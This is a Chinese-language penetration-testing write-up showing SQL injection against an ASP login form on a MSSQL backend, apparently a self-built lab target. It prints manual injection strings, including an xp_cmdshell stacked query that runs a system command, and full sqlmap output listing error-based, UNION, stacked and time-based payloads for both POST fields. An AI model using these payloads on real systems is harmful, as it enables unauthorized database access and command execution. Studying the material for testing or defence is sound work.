一次简单的POST注入测试

作者：Beginne(cnm@Dis9.com) & Dis9Team

在论坛看到了炊少的 记录 Mssql注入点构造 一文 ，里面介绍了构造MSSQL + ASP 的GET注入和POST注入的两种方式，今天没事干，所以玩了一下子，把记录贴了出来

关于构造自己看上面的原文吧，首先说这个注入是一定存在的

抓包分析

观察提交页面源码，看看是什么方式提交

<form name="frmLogin" action="login.asp" method="post">
Username: <input type="text" name="userName">
Password: <input type="text" name="password">
<input type="submit">
</form>

很明显是post方式，我们得抓到提交的POST数据，用到了firefox的插件，如下图：

手工检测
有了数据包就好搞了，下面我们手工检测一下

继续提交注入语句：


手工检测

有了数据包就好搞了，下面我们手工检测一下

继续提交注入语句：

---------------------------------

帐号：' having 1=1 ---

密码任意

---------------------------------

返回：Logged In

提交注入语句：

---------------------------------

帐号：' having 1=2 ---

密码任意

---------------------------------

返回

Bad Credentials

说明存在注入

我们提交：

帐号

'; exec master..xp_cmdshell 'iisreset'; --

密码任意

返回:

Microsoft OLE DB Provider for SQL Server 错误 '80004005'

[DBNETLIB][ConnectionOpen (Connect()).]SQL Server 不存在或拒绝访问。

/login.asp，行 14



其实是执行

select userName from users where userName=''; exec master..xp_cmdshell 'iisreset'; --' and userPass=''

自动化注入

下面我们直接用sqlmap进行注入

root@Dis9Team:~# sqlmap -u "http://5.5.5.134/login.asp" --data "userName=123&password=123"

sqlmap/1.0-dev (r4911) - automatic SQL injection and database takeover tool
 http://www.sqlmap.org 
[!] legal disclaimer: usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Authors assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting at 21:13:27

[21:13:27] [INFO] using '/pen/sqlmap-dev/output/5.5.5.134/session' as session file
[21:13:27] [INFO] resuming back-end DBMS 'microsoft sql server 2005' from session file
[21:13:27] [INFO] testing connection to the target url
[21:13:27] [INFO] heuristics detected web page charset 'ascii'
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: POST
Parameter: password
Type: error-based
Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause
Payload: userName=admin&password=admin' AND 8376=CONVERT(INT,(CHAR(58)+CHAR(99)+CHAR(104)+CHAR(99)+CHAR(58)+(SELECT (CASE WHEN (8376=8376) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(58)+CHAR(108)+CHAR(105)+CHAR(120)+CHAR(58))) AND 'YvOd'='YvOd

Type: UNION query
Title: Generic UNION query (NULL) - 1 column
Payload: userName=admin&password=-1537' UNION SELECT CHAR(58)+CHAR(99)+CHAR(104)+CHAR(99)+CHAR(58)+CHAR(117)+CHAR(84)+CHAR(86)+CHAR(119)+CHAR(105)+CHAR(109)+CHAR(100)+CHAR(101)+CHAR(122)+CHAR(114)+CHAR(58)+CHAR(108)+CHAR(105)+CHAR(120)+CHAR(58)--  AND 'WzKD'='WzKD

Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries
Payload: userName=admin&password=admin'; WAITFOR DELAY '0:0:5';-- AND 'LmZG'='LmZG

Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase time-based blind
Payload: userName=admin&password=admin' WAITFOR DELAY '0:0:5'-- AND 'ugPK'='ugPK

Place: POST
Parameter: userName
Type: error-based
Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause
Payload: userName=admin' AND 1780=CONVERT(INT,(CHAR(58)+CHAR(99)+CHAR(104)+CHAR(99)+CHAR(58)+(SELECT (CASE WHEN (1780=1780) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(58)+CHAR(108)+CHAR(105)+CHAR(120)+CHAR(58))) AND 'tmdk'='tmdk&password=admin

Type: UNION query
Title: Generic UNION query (NULL) - 1 column
Payload: userName=-1984' UNION SELECT CHAR(58)+CHAR(99)+CHAR(104)+CHAR(99)+CHAR(58)+CHAR(107)+CHAR(121)+CHAR(122)+CHAR(100)+CHAR(68)+CHAR(71)+CHAR(84)+CHAR(87)+CHAR(98)+CHAR(105)+CHAR(58)+CHAR(108)+CHAR(105)+CHAR(120)+CHAR(58)--  AND 'CTkR'='CTkR&password=admin

Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries
Payload: userName=admin'; WAITFOR DELAY '0:0:5';-- AND 'Nbcb'='Nbcb&password=admin

Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase time-based blind
Payload: userName=admin' WAITFOR DELAY '0:0:5'-- AND 'EBhZ'='EBhZ&password=admin
---

there were multiple injection points, please select the one to use for following injections:
[0] place: POST, parameter: userName, type: Single quoted string (default)
[1] place: POST, parameter: password, type: Single quoted string
[q] Quit
>

这里提示选择用username 和PASSWORD表单提交注入语句 随便都性

我选择0，用username提交注入语句 得到的结果：

> 0

[21:14:33] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows XP
web application technology: ASP, Microsoft IIS 5.1
back-end DBMS: Microsoft SQL Server 2005
[21:14:33] [INFO] Fetched data logged to text files under '/pen/sqlmap-dev/output/5.5.5.134'

[*] shutting down at 21:14:33

目标数据库版本出来了